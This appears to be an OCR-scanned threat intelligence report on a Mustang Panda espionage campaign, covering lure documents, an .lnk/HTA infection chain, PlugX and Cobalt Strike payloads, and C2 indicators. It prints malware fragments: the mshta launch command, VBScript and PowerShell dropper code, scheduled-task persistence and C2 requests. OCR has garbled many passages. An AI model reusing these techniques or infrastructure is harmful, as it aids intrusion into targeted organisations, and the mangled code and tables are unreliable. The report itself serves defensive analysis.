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The Anomali Threat Research Team has identified an ongoing campaign which it believes is being conducted by the China-
based threat group, Mustang Panda. The team first revealed these findings on Wednesday, October 2, during Anomali Detect

19, the company’s annual user conference, in a session titled: “Mustang Panda Riding Across Country Lines.”

CrowdStrike researchers first published information on Mustang Panda in June 2018, after approximately one year of
observing malicious activities that shared unique Tactics, Techniques, and Procedures (TTPs).[” This campaign dates back
to at least November 2018. The research does not indicate with absolute certainty which entities are being targeted or the
impact the campaign has had. Based on the lure documents observed by Anomali, we believe that the following may be
targeted:

¢ Individuals interested in the United Nations’ Security Council Committee resolutions regarding the Islamic State in
Iraq and the Levant (ISIL / Da’esh)

¢ Mongolian-based MIAT Airlines

¢ Non-profit China Center (China-Zentrum e.V.); according to its website, this officially recognized nonprofit
organization’s aim is to foster encounters and exchange between cultures and religions in the West and in China

o Targeted countries including but not limited to Germany, Mongolia, Myanmar (Burma), Pakistan, Vietnam

¢ The Communist Party of Vietnam (CVP)

¢ The Shan Tai; a group of people living in Southeast Asia, which Minority Rights Group International describes as a

“minority” in the region, with members who are primarily Theravada Buddhists

The malicious activity found by Anomali aligns with TTPs, specifically two through six, first identified by CrowdStrike.
The observed TTPs consist of the following:

1. Use of zip file that contains a “.Ink” (Windows Shortcut) file.

2. Utilization of double extension trick (sample.doc.Ink) to convince users to open the file.
3. HTA (HTML Application) with VBScript embedded in the “.Ink” file

4. VBScript drops payloads and opens a decoy document or PDF to the user.

5. Usage of PlugX and Cobalt Strike payloads.[z]

The infection chain observed by Anomali researchers in this campaign is shown below in Figure 1.
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Figure 1 — Infection vector

We also found similarities in targeting in Mongolia and an NGO. The use of United Nations’ documents regarding activities

in the Middle East may also be indicative of think-tank targeting. Furthermore, the use of PlugX malware also aligns with

CrowdStrike’s previous findings of activity attributed to Mustang Panda.l®!

Analysts’ note: The language capabilities to read some of the lure documents is not available within Anomali at this time.

‘We would encourage those with the language skills necessary to analyze the documents further.
Targeting

In mid-August 2019, the Anomali Threat Research Team discovered suspicious “.Ink” files during routine intelligence
collection. While the distribution method of these documents cannot be confirmed at this time, it is likely that spearphishing
is being utilized because it aligns with Mustang Panda’s TTPs, and it is a common tactic used amongst APT actors. The lure
documents are also too specific in their targeting, and the targeted entities and individuals would be of interest to a China-

sponsored threat group.

Further analysis of the files led to the identification of other “.Ink” files that were attempting to infect individuals with a
Cobalt Strike Beacon (penetration-testing tool) or PlugX (Remote Access Tool (RAT); other payloads were unable to be
identified as of this writing. Anomali researchers identified 15 malicious documents that we believe were utilized by
Mustang Panda in an ongoing campaign. The documents reveal malicious activity dating from at least November 2018 up to

August 29, 2019. The date of this activity is confirmed by the VirusTotal (VT) submission dates, which will be analyzed
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further in the following sections. In addition, the dates within the documents go back as far as October 8, 2017, therefore, it
is possible this activity goes back to 2017 if the group was using current content in their lures. The primary target of this
campaign were found to be the ruling political party of Vietham, The Communist Party of Vietnam (CPV); other targets

observed in the malicious documents include the following:

« CPV of Lang Son province, Vietham

e CPV of Lao Cai province, Vietnam

¢ Embassy of Vietnam, China

¢ Henan Provincial Party Committee, Vietnam

o Individuals who would find United Nations’ documents of interest, potentially think tanks

« MIAT Airlines, Mongolian airline

« Police of Sindh Province, Pakistan

¢ Restoration Council of Shan State / Shan State Army, Loi Tai Leng, Southern Shan State, Myanmar (Burma)
¢ The China Center (China Zentrum e.V), Germany

The lure documents are themed to be relevant to their targets, and in some cases are copies of legitimate documents that are
publicly available. The “.Ink” files being utilized by Mustang Panda typically contain an embedded HTA script that, once
executed, will drop and open the decoy document while the malicious activity of the payload runs in the background. Other
lure documents are themed to be relevant to their targets, and in some cases are legitimate documents that are publicly
available. The final type of malicious document we observed were empty, and only contain an image, such as requesting for

macros to be enabled, used to distract someone while malicious activity takes place in the background.

Lure Document Analysis

The 15 documents will be discussed below from the most recent VT submission to the earliest. The identified samples

follow the same infection chain, and the technical analysis will be discussed in a later section.

Document — 1

Document Title - TCO BT574.doc

Sample — 05CF906B750EB335125695DA42F4AEAFC
Payload — Cobalt Strike

Submission date — 8/29/2019 1:27:41 AM

£
DAISU QUAN VIET NAM EMBASSY OF VIETNAM * Tinh tic ugdy, 01/8-15/8/2019, trang mang Cuc Hai, suc Toung Qudc, da
. TAITRUNG QUOC IN CHINA ding. g cong 25 cdnb,bio, hing. hdi lién. auan den hoat dong audn.su. hodc hoat
§ggmngNG TCOBTS574 Ny Add: 32 Guanghua Road mmmﬂmw&m%w vug & Bién Ding.
“Smm®” Tel: (8610) 6532.1155/1125 “B4
Fax: (8610) 6532.6521 2. Mang, “Ding phugng” vgdy. gwwn uémm'.’euégmlweh

mmma“mmﬂ'
‘Theo thong tin tir Trung tam, &!amqn slm thude BA Tai nguyén thién
ubic%n]‘»mzmmchahmxchxmmst wmmmwmmww
0i “Tuyet Long 2“4&&@%&3&@2%6&%%&%@ “Nam l;!au"

Ay, gi : 15/8/2019 Email: dsgbk 1@yahoo.com

BAN TIN (mm)mmmmmmmummm du kién kéo dai
trong, 36 ngdy va duog chia lam 4 ching.
fnh gii: - 5 (Té Tin A): “Tuyét Long 2” mmwmmm@wqﬂmmmmm
Kbt~ inobong B0 (I8 T Quée, e chinhién ciw che. tao, Tatk o6 tong: chigu i 122,5 mét, g 22,32 met,
! ’ . mmmmmmmmmmmmlsmmmmmoz
6t i t06 4 2-3 tict. Sau khi hodn, thinh chuyén.chay, thik.nghigm 1o
1. Website Cuc Hi s Trung Qudc ngay. 15/8 ding 04 canh bdo, hang hdi t3u “Tuyes Long 2” s¢ cing vdi tau “Tuyét Long” mmmmwmmsﬁ
vé dién tp, auan, sw.va hogt dong ciia, zian khoan.daw khi, hoat dong cia tau.cd ca Trung Qud tai Nam Cug.
tai Vinh Bac Bg va mot so khu, vuc tai Bién Dong: Xin bag céo Nha/.
(1) Cue Hai su Tram Giang - Cinh b hang hii s§ 053: 'L\!mxm -24/8, Cong.st
mwmommmmmmmmmmmm Vinb Bic
B9, tien hanh hoat ngnaummngkhLmembMSMQQw@@ﬁa
lugt 13:
A:20-1348N/109-53.43E;  B: 20-12.30N/109-50.55E; Pham Thanh Biph

C:20-10.75N/109-52.30E;  D: 20-11.07N/109-55.15E;

E: 20-11.90N/109-55.35E

Chm thu thuyén di vio trong thii gian trép.

(2) Cug Hai,su Bdc Hai - Canb bdo hang hai s 0017 (haty. b0 canh bdo hing
bii 56,0015 ngy. 14/8/2019): Tix,06h00 dén, 16h00 ngay. 18/8 tai. Vinh. Bic. B, tién
bianh hydn luyén quin sy trong viing bién 00 lign boi 4 diém. o6 toa 2 lan bret 1a:

21-00.50N/109-02.15E;  20-59.15N/109-03.40E

21-01.00N/109-05.06E; ~ 21-04.15N/109-05.42E

(3) Cuc Hai sy Quang Dong - k@%h@uﬂh@t&uﬂm Iuggaxlﬁ/ﬂslw
ngay. 16/10 tai “Nam Hai” (Btm Dong), gian khoan “Nam Haj 06 tign haoh tac
nghiép giéng trong ving bién bin kinh, 01 bai I, v tam 1A diém c6 toa 4o
21-26-34.15N/116-28-52.31E. Co,dén hiéu vA tin. hiéw. canh ba thea uy. dinb. D&
nghi thu thuyén phugng trinh.

(4 Cuc Haj sy Quing Dong - Canh bao hang hai s6,0177: Misa nghi danh
bat ¢ tai. Namﬂaﬂ‘(mm)sachmhmuakﬁlﬂzﬁamlzhoom
16/812019; cés. viing bién, ven by Quing Dang 58 ¢6 56 luong Idn thu ¢ ra khai ti
nghiép. DS nghi thu thuyen qua lal chi ¥ quan sdf xik ¥, tranh d¢ xay ra va cham,

Figure 2 — TCO BT574.doc

As seen above, this document is addressed to the Embassy of Vietnam in China. The document appears to discuss a warning
issued to the Vietnam government related to a military exercise on a set of coordinates. Specifically, the document informs

that no civilian ships are allowed on said coordinates. The document continues and mentions a new ice-breaking ship called
“Snow Dragon 2” and mentions August 15, 2019, as the beginning of a 35-day trial run. This document indicates a regional

interest with specificity.
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Document — 2

Document Title — 32_1.PDF

Sample - 9A180107EFB15A00E64DB3CE6394328D
Payload — Cobalt Strike Beacon

Submission date — 8/26/2019 6:28:40 AM

UBND TINHLANG SON  CONG HOA XA HOI CHU NGHIiA VIET NAM

SO NGOAI VU Ddc lap - Tw do - Hanh phiic
S6: 3¢/ /TB-SNgV Lang Son, ngay 15 thang 8 ném 2019
THONG BAO

Ve vige thay ddi s6 nha Tru s& lam viée
cita S&' Ngoai vu Lang Son

Can cur Glay chiung nhén sb 2263/UBND-CN ngay 08/11/2019 ciia
UBND thanh phé Lang Son vé viéc ching nhén Tru s& S& Ngoai vu tinh Lang
Son.

Pé dam bao cho lién hé cong tac, S& Ngoai vy tinh Lang Son théng bo
vé viéc thay dbi sé nha Tru s& lam viée cia S& Ngoai vu tinh Lang Son ké tir
ngay 16/8/2019, cu thé:

- 86 nha (ci) Tru sé lom viée: S6 6, duong Hung Vuwong, phuong Chi
Lang, thanh phd Lang Son, tinh Lang Son.

- 86 nha méi Tru sé lim vige: S6 10, dudng Hing Vuong, phuong Chi
Lang, thanh phd Lang Son, tinh Lang Son.

Cac théng tin khac v& S& Ngoai vu tinh Lang Son khéng thay dbi.

S& Ngoai vu tinh Lang Son tran trong théng béo dé céc co quan, don vi,
t6 chire va ca nhén biét, thuan tién cho viéc lién hé cong tac./.

Noi nhin:
- Vin phong B Ngoai giao;
- VP: Tinh 0y, Poan PBQH, HPND, UBND tinh;
- Cue Ngoai vu;
- S&'Ngoai vu cac tinh, TP;
- Céc Sg, Ban, Nganh, doan thé cua tinh;
- UBND cdc huyén, thanh phé Lang Son;
- Lanh dao Sa;
- Van phong, cac phong thugc S6;
- Luu VT.

Figure 3 — 32_1.pdf

Mustang Panda is using this decoy document, dated August 15, 2019, to target the People’s Committee Lang Son Province.
The Peoples’ Committee is the executive branch of a Vietnamese province.[4] The Lang Son province shares a border with
China’s Guangxi Province. The area has historically served as an important location for trade, and therefore control over the
location has long been disputed and fought over.®! The border shared between China and Vietnam measures 1,281 km in
length and multiple wars and numerous lives have been lost in conflicts fought, the complexities and intricacies of which

will not be further discussed.[!

Document - 3

Document Title — Daily News (19-8-2019)

Sample — 5F094CB3B92524FCED2731C57D305E78
Payload - PlugX

Submission date — 8/19/2019 6:11:32 AM
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Figure 4 — Daily News (19-8-2019)

This document appears to be targeting the Shan Tai people by using a document referencing the Restoration Council of Shan
State (RCSS). The Shan Tai people make up the largest minority group in Myanmar (Burma) and are located in
Northwestern and Eastern Myanmar (Burma) and the Yunnan province in China.[”) The RCSS, also referred to as Shan State
Army (SSA), is a government/political organization that is headquartered in Loi Tai Leng, Southern Shan state, in present-
day Myanmar (Burma), bordering Thailand.!® The targeting of minority groups is a known tactic used by the government of

the People’s Republic of China.

Document — 4

Document Title— S_2019_50_E.Ink

Sample — 4FE276EDC21EC5F2540C2BABD81C8653
Payload — PlugX

Submission date — 6/6/2019 9:37:18 AM
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[United Nations Shot9r50

Security Council Distr.: General
15 January 2019

N

7
tvYw:é

Original: English

Letter dated 15 January 2019 from the Chair of the

Security Council Committee pursuant to resolutions 1267 (1999),
1989 (2011) and 2253 (2015) concerning Islamic State in Iraq and
the Levant (Da’esh), Al-Qaida and associated individuals, groups,
undertakings and entities addressed to the President of the
Security Council

I have the honoue to transmit herewith the twenty -third report of the Analytical
Support and Sanctions Monitoring Team pursuant to resolutions 1526 (2004) and 2253
(2015), which was submitted to the Security Council Comumifte, € pursuant to
resolutions 1267 (1999), 1989 (2011) and 2253 (2015) concerning Islamic State in Iraq
and the Levant (Da’esh), Al-Qaida and associated individuals, groups, undertakings
and entities, in accordance with paragraph (a) of annex I to resolution 2368 (2017).

I should be grateful if the present letter and the report could be brought to the
attention of the members of the Security Council and issued as a document of the Council.

(Signed) Dian Triansyah Djani
Chair
Security Council Committee pursuant to resolutions 1267
(1999), 1989 (2011) and 2253 (2015) concerning Islamic
State in Iraq and the Levant (Da’esh), Al-Qaida and
associated individuals, groups, undertakings and entities

18-22791 (E) 040219 Prancn eouta B0 &
*1822797*

Figure 5—S_2019_50_E.docx

Mustang Panda retrieved this document from the United Nations Digital Library that is titled “Letter dated 15 January 2019
from the Chair of the Security Council Committee Established pursuant to Resolutions 1267 (1999), 1989 (2011) and 2253
(2015) concerning Islamic State in Iraq and the Levant (Da'esh), Al-Qaida and Associated Individuals, Groups, Undertakings

and Entities addressed to the President of the Security Council ]

At the time of this writing, it is unknown who, or what this document may be targeting. However, think-tank organizations

may be interested in such a document, and said organizations were found to be targets of Mustang Panda by CrowdStrike.
[10]

Document - 5

Document Title — European.Ink

Sample — SFF1D3AF1F39A37CODC4CEEB18CC37DC
Payload - PlugX

Submission date — 6/5/2019 6:28:25 PM
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Figure 6 — European.Ink

“European.doc” is targeting The China Center (China Zentrum e.V) is, according to its website, a non-profit organization
that “encourages encounters and exchange between cultures and religions in the West and in China. The members of the
China-Zentrum are Catholic aid organizations, religious orders and dioceses in Germany, Austria, Switzerland and Italy."[“]

Targeting of NGOs was first documented by CrowdStrike and we believe we have observed Mustang Panda attempting to

12]

attack a similar type of target.[ In addition, an institution focused on exchanging cultural knowledge aligns with China’s

strategic interests.

Targeting Pakistan

Upon pivoting from the C2 domain apple-net[.Jcom, observed in the other samples that are part of the campaign, Anomali
found a malicious sample that targets the Police of the Sindh Province in Pakistan. The PlugX malware has been observed as

the payload that is targeting the Sindh Province police.

Scanned Detections Type Name

2019-09-13 42170 Win32 EXE NATIONAL SECURITY CONCEPT OF MONGOLIA.exe
2019-08-24 36 /68 Win32 EXE x1.exe

2019-09-13 45 /69 Win32 EXE DSR & CSR of Special Branch Sind.exe

Figure 7 — Samples Connecting to apple-net[.]com
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Figure 8 — DSR & CSR of Special Branch Sind.exe

Technical Analysis

The “.Ink” files being utilized by MustangPanda typically contain an embedded HTA file with VBscript or PowerShell script
that, once executed, will drop and open the decoy document while malicious activity of the payload runs in the background.

Throughout the campaign we observed PlugX and Cobalt Strike being delivered as the primary payloads.

Decoy |
Document
- hobe,

- Windows Embedded .
ZIP File Shorteut HTA VB Script
4= PlugX/Cobalt Command &
g
% = HTA VBS Strike beacon Control
»

o

Figure 9 — Infection vector

“.Ink” File Analysis
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In Windows “.Ink” is the file extension for shortcut files which points to an executable file. “.Ink” files usually holds plenty
of forensic artifacts and they can reveal valuable information about the threat actor’s environment. The metadata from the
“.Ink” files led us to pivot to more samples from the same campaign.
LOF® aHO+89aH1+96aHTI+666) PE0S ©: 166+000/
1 \R1GNRGWindows <666 : GONRG<GWindowsV1BNGISystem32>666: GONGI

System32R2Qu= cmd.exe<@Bu=u=xc@cmd.exel-
16968C: \i \ \cmd.exeGIAYMOI.doc. lnk}/c for %x in (%temp%=%cd%) do for /f "delims=='

LNK Header

Created Host Name
1000° 6X
- i ) 8666G0) 98SON. Pzc0~66)6 V)8666GE) 99SON. P2c0~60)6

<IDOCTYPE >
< > Embedded HTA with VBscript

tAPPLICATION =" ="minimize" =""no" ="no"
="text/vbscript">

Figure 10 — “.Ink” File
Table 1 below shows the files that were part of the recent campaign from Mustang Panda.
Table 1 — Analyzed Samples

MD5Link Creation DateFile NamePayload165F8683681A4B136BE1FOD6EA7F00CE11/21/10 3:24chuong trinh dang
huong.doc.InkCobalt strikeO9FF1D3AF1F39A37CODC4CEEB18CC37DC11/21/10
3:24European.InkPlugX4FE276EDC21EC5F2540C2BABD81C865311/21/10
3:24S_2019_50_E.InkPlugX11ADDA734FC67B9CFDF61396DE98455911/21/10 3:24Chuong trinh hoi nghi.doc.InkCobalt
strike08F25A641E8361495A415C763FBB9B7111/21/10 3:24GIAY MOI.doc.InkCobalt
Strike01D74E6D9F77D5202E7218FA524226C411/21/10 3:24421 CV.doc.InkCobalt
Strike6198D625ADA7389AAC276731CDEBB50011/21/10 3:24GIAYMOI.doc.InkCobalt
strike9B39E1F72CF4ACFFD45F45F08483ABF011/21/10 3:24CV trao doi CAT Cao Bang.doc.InkCobalt
strike748DE2B2A A1FA23FA5996F287437AF1B11/20/10
21:29cf56ee00be8ca49d150d85dcb6d2£336.jpg. InkPlug X 5F094CB3B92524FCED2731C57D305E7811/21/10 3:24Daily
News (19-8-2019)(Soft Copy).InkPlugX9A180107EFB15A00E64DB3CE6394328D11/21/10 3:2432_1.PDF.InkCobalt
strike05CF906B750EB335125695DA42F4EAFC11/21/10 3:24TCO BT 574.doc.InkCobalt
strikeF62DFC4999D624D01E94B89946EC103611/21/10 3:24sach tham khao Bo
mon.docx.InkPlugXCA775717D000888A7F71A5907B9C920811/21/10 3:24tieu luan ve quyen lam chu cua nhan
dan.docx.InkPlugX AA115F20472E78A068C1BBF739C443BF11/21/10 3:24vai tro cua nhan
dan.doc.InkPlugX11511b3d69fbb6cceaf1dd0278cbedfb11/21/10 3:24For National Department Sar KNU JMC people
Meeting 2019.InkPlugX

Once the user opens the “.Ink” file, the embedded HTA file will be executed via “mshta.exe”, it then writes a PowerShell
script name “3.ps1” in the “%TEMP%” directory. The PowerShell script is then executed using Windows Management

Instrumentation (WMI) in a hidden window via WMI Tasks.!13!
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function ItQYADGSADLS(HDUQaTNwHEKjmCw,atLHe1XpuQkQKTKV)

dim y ,

set =createobject(microsoft.

set =dom. createelement("z")

elm. = bin.hex

elm.

Set = CreateObject(ADODB.
OWQKwKTZXmLrwmVdK. =1

OWQKwKTZXmlrwmVdK.Open

OWQKwKTZXmlrwmVdK.write elm.NodeTypedValue
OWQKwKTZXmlrwmVdK.saveToFile atLHelXpuQkQKTKV, 2
OWQKwaZXmlrmedK.Close Writing encoded powershell
Bt SR, script to disk in TEMP path
set =nothing as 3.ps1

set =nothing

end function

=CreateObject(Wscript.
=LRFX1.Environment (
::UeowlRznjJG. Item(

Figure 11 — VBScript drops PowerShell script

Z = GetObject(wil & ":\\" & mi t\cimv2)
ihS = HfXpKTKuZ.Get("Win32_" & & "Startup")

= fuQkIfzkVkRdpeR1lihS.SpawnInstance_ Using WMI to run powershell in a
- hidden window

= GetObject( A\ & m
HGMrJKL.Create cmd. /c powershell. ~

Figure 12 — Using WMI to execute PowerShell Script in Hidden window

The dropped file “3.ps1” is a base64 encoded PowerShell script. Upon execution it performs the below operations on the

target host:

N

L ©° N U AW

. Checks if the user has Administrator privilege

. Drops the Cobalt Strike Stager in debug or “%TEMP%” directory as “tmp_FIVnNI.dat” depending on the user
privilege

Opens the decoy Word document

Locates the InstallUtil.exe and its installed version

Copies “schtasks.exe” to “%TEMP%” directory and renames it to “wtask.exe”

Creates Scheduled tasks with the name “Security Script kb00855787”

Renames “wscript.exe” into “winwsh.exe”

Runs the scheduled task to execute the Cobalt Strike Stager

C2 communication

Name Status Triggers

B Security Script kb00855787 Ready At10:33 AM on 9/19/2019 - After triggered, repeat every 00:03:00 indefinitely.
Action Details

Start a program C:\Windows\InstallUtil.exe /u /legfile= /LogToConsole=false C:\Windows\debug\tmp_FIVnNLdat

Figure 13 — Scheduled Task Creation
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= +"\Win976536. txt";
0.File]::WriteAllText(
"\system32\wscript.exe";
= +"\winwsh. exe";
cnd.exe /c copy /y "

em32\schtasks.exe";

y "

" /create /sc minute /mo /tn “Security Script kb@@855787" /tr " //Nologo //E:vbscript //B
" /run /tn “Security Script kbo@sss787"

0
= New-Obiect Securitv.Principal.WindowsPrincipal( [Securitv.Principoal. owsIdentity]::GetCurrent())
([Security.Principal.WindowsBuiltInRole]::Administrator) -eq $true)

Privilege check

+'"\debug\tmp_F1VnNI.dat";

+''\tmp_F1lVnNI.dat"; Cobalt Strike Stager

Figure 15 — Cobalt Strike Payload

During our analysis, we could not acquire the second stage payload as the C2 servers were not functioning or had been taken

down by the threat actors.

PlugX Payload Analysis

“.Ink” files that used PlugX as the payload were abnormally big in size. In general, the “.Ink” files are less than 10Kb, but
the malicious samples in the campaign were more than 700Kb. Upon taking a closer look we found that the “.Ink” files were

embedded with 3 base64 encoded executables.
Upon opening the LNK file, it will then proceed to execute the below command via cmd.exe.

command: /c for %x in (%temp%=%cd%) do for /f "delims==" %i in ('dir "%x ieu luan ve quyen lam chu cua nhan

dan.docx.Ink" /s /b") do start m%windir:~-1,1%hta .exe "%i"

The command executes the HTA file embedded inside the shortcut and it decodes and drops 3 executables in the
“%TEMP%” directory and opens a decoy word document to the user.
er b Local Disk (C:) » Users » ¢ .- 1\Windows7 » AppData » Local » Temp » - | 4
" & 3 B sl
Share with = Mew folder

Marne Date mcdvified Type Size

|E_|1 tieu luan ve gquyen lam chu cua nhan da..  9/20/2019 1:29 PM Microsoft Word D.. 43 KB
57 3.exe 9/20/2019 1:29 PM Application 96 KB
|| http_dll.dat 9/20/2019 1:29 PM DAT File 128 KB
%] http_dIl.dIl 9/20/2019 1:29 PM Application extens... 20 KB

Figure 16 — Extracted binaries and Decoy document

All three dropped files were then moved to a new folder “C:ProgramDataMicrosoft Malware ProtectionGHQ”

. » Computer » Local Disk (C:) » ProgramData » Microsoft Malware ProtectionGHQ

HAd Include in library + Share with = New folder
Name Date modified Type Size
|| http_dil.dat 20191:29 PM  DAT File 128 KB

% http_dilLdll 9/20/20191:29 PM Application extens... 20 KB
=] unsecapp.exe 2019 1:29 PM Application 96 KB
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Figure 17 — Binaries moved to different path

The “3.exe” is a legitimate executable and it is signed by “ESET, spol. s r.0.” and it is being abused for DLL hijacking
technique to execute http_dll.dll which decodes and loads the malicious payload http_dll.dat.

Table 2 — PlugX Hashes

File NameHash3.exe (original name:
EHttpSrv.exe)28C6F235946FD694D2634C7A2F24C1BAhttp_dll.dl19912EB641EABD640A476720C51F5E3ADhttp_dll.dat2BC7298A57AE2B8AE

After the payload execution it reaches out to the C2 via POST request as shown below.

POST /update?wd=4337295e HTTP/1.1 Accept: */* x-debug: 0 x-request: 0 x-content: 61456 x-storage: 1 User-Agent:
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1; Host: aridndvn.ccom:443 Content-Length: 0 Proxy-Connection:

Keep-Alive Pragma: no-cache

If the C2 is not available the payload tries to reach different embedded C2 domains on unique ports.

# Result  Protocol Host URL Process

Az 502 HTTP 135.239.226.61:965  fupdate?wd=ba54b27f unsecapp: 2160
Az 502 HTTP 185.239,226.61:965  fupdate?wd=afad2361 unsecapp: 2160
A4 502 HTTP aridndvn.ccom:443  jupdate?wd=818fa550 unsecapp: 2160
A 502 HTTP aridndvn.ccom:443  fupdate?wd=4337295e unsecapp: 2160
As 502 HTTP aridndvn.ccom: 443 fupdate?wd=43 1fcf3f unsecapp: 2160
A7 502 HTTP infosecvn.com: 443 jupdate?wd=206254d3 unsecapp: 2160
As 502 HTTP infosecvn.com;443  fupdate?wd=276f0c85 unsecapp: 2160
A 502 HTTP infosecvn.com:443  jupdate?wd=5e4c3d80 unsecapp: 2160
A 1w 502 HTTP 185.239.226.61:8080 fupdate?wd=df3bsf7f unsecapp: 2160
A1 502 HTTP 185,239,226.61:8080  fupdate?wd=ce8bd63c unsecapp: 2160
A1z 502 HTTP 135.239.226.61:3030  fupdate?wd=0cdef633 unsecapp: 2160
A 13 502 HTTP 185.239,226.61:965  fupdate?wd=05a04433 unsecapp: 2160
A4 502 HTTP 185,239,226.61:965  fupdate?wd=378530e1 unsecapp: 2160
A 15 502 HTTP 185.239,226.61:965  fupdate?wd=e&f3ed7f unsecapp: 2160
A 16 502 HTTP aridndvn.ccom:443  jupdate?wd=55dd20e5 unsecapp: 2160
A7 502 HTTP aridndvn.ccom: 443 jupdate?wd=f4012c33 unsecapp: 2160
A 1= 502 HTTP aridndvn.ccom: 443 fupdate?wd=76cch3d5 unsecapp: 2160
A 19 502 HTTP infosecvn.com: 443  jupdate?wd=43365a49 unsecapp: 2160
F ) 502 HTTP infosecvn.com:443  fupdate?wd=6ddcdc14 unsecapp: 2160
A2 502 HTTP infosecvn.com: 443  jupdate?wd=1c1d71c6 unsecapp: 2160

Figure 18 — Network connections to C2
Conclusion

The malicious operations conducted by Mustang Panda in this campaign appear to be ongoing. The targets, indicated by
specific lure documents, are government or align strategically with a China-sponsored APT group. China is currently in its
13th Five-Year Plan (2016-2020) that focus on the following themes: innovation, coordinated development, green growth,

openness, and inclusive growth, respectively.[M]

The objective of increasing exports and specific imports, which falls under
openness, would align with the targeting of the Lang Son province and its history of trade. Utilizing lures themed around
political parties, the Sindh police, and UN documents would align with innovation, which is described “as the cornerstone of
China’s development strategy” and attempts of “enhancing its future global competitiveness and technological edge.”US]
Targeting entities, or related entities, of said lures indicates a potential regional interest in strategic information that may be
of significance to a government. In addition, the TTPs observed by CrowdStrike are identical to the ones observed by

Anomali.

This activity has been ongoing since at least November 2018, and possibly as far back to at least October 2017 if the lure
documents were distributed around the times mentioned in them. This kind of malicious activity sponsored by China will
likely continue as the country expands its efforts for the ongoing Belt and Road Initiative that seeks to invest in
infrastructure in over 100 countries. Such economic and investment-led initiatives will cause China to be more interested in

the regions its investing in, therefore it is likely that APT-related activity will follow.
10Cs

In addition, ATR found that the documents were attempting to, or were able to connect to the following Command and

Control (C2) domains and IP addresses:
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DomainIPsFirst Seenadobephotostage.com50.63.202.946/29/19 22:03adobephotostage.com50.63.202.676/24/19
16:30adobephotostage.com50.63.202.826/7/19 1:31adobephotostage.com184.168.221.946/22/19
3:30adobephotostage.com184.168.221.826/19/19 14:24adobephotostage.com184.168.221.716/10/19
6:57adobephotostage.com50.63.202.736/1/19 9:49adobephotostage.com207.148.12.476/7/18
10:05adobephotostage.com149.28.74.416/4/18 11:33adobephotostage.com207.148.78.1015/31/18
3:26adobephotostage.com149.28.74.1495/24/18 7:19adobephotostage.com50.63.202.595/22/18
20:290lk4.com198.54.117.2009/11/19 23:170lk4.com198.54.117.1998/3/19 1:290lk4.com198.54.117.1978/3/19
1:290lk4.com198.54.117.1988/3/19 1:290lk4.com162.255.119.1507/25/19 8:20apple-net.com167.88.180.1486/12/19
23:41apple-net.com167.88.177.2243/22/19 3:11apple-net.com167.88.180.310/29/18 12:21apple-
net.com45.248.87.1410/21/18 18:20apple-net.com91.195.240.1178/6/18 7:08apple-net.com103.224.182.2504/25/18
11:40wbemsystem.com167.88.177.2247/29/19 0:00yahoorealtors.com167.88.178.247/4/19
13:00yahoorealtors.com185.239.226.196/25/19 0:00yahoorealtors.com185.239.226.194/3/19
1:17yahoorealtors.com45.77.209.521/18/18 7:11infosecvn.com167.88.178.1188/27/19
2:14infosecvn.com185.239.226.617/10/18 1:02infosecvn.com45.77.184.125/30/18
16:29airdndvn.com167.88.178.1186/27/19 0:00airdndvn.com185.239.226.616/14/18 9:43airdndvn.com45.77.184.125/31/18
13:500fficeproduces.com45.32.50.1507/25/19 7:10web.adobephotostage.com Web.officeproduces.com:8080
Up.officeproduces.com We.officeproduces.com Download.officeproduces.com:443 geocities.jp update.olk4.com:53
www.cab-sec.com167.88.180.1509/18/2019 3:10 43.254.217.67 154.221.24.47 144.202.54.86

URLs

http://144.202.54.86/vkt2

http://144.202.54.86/download/Mau2.hta
http://144.202.54.86/download/Mau%20cam%20ket%20danh%?20ch0%20Chua%20Dang%20vien.docx
http://airdndvn.com/6 CDC9F833C87FB661DBB9339

¢ http://www.wbemsystem.com/B2FC407BB86E8219/397A4853

« web.officeproduces.com:8000/update?wd=1b1fe9aa

154.221.24.47/HaQ3

File Hashes

165F8683681A4B136BE1FOD6EA7FO0CE
9FF1D3AF1F39A37C0DCA4CEEB18CC37DC
4FE276EDC21EC5F2540C2BABD81C8653
11ADDA734FC67B9CFDF61396DE984559
08F25A641E8361495A415C763FBB9B71
01D74E6D9F77D5202E7218FA524226C4
6198D625ADA7389AAC276731CDEBB500
9B39E1F72CF4ACFFD45F45F08483ABFO
748DE2B2AA1FA23FA5996F287437AF1B
5F094CB3B92524FCED2731C57D305E78
9A180107EFB15A00E64DB3CE6394328D
05CF906B750EB335125695DA42FAEAFC
F62DFC4999D624D01E94B89946EC1036
CA775717D000888A7F71A5907B9C9208
AA115F20472E78A068C1BBF739C443BF
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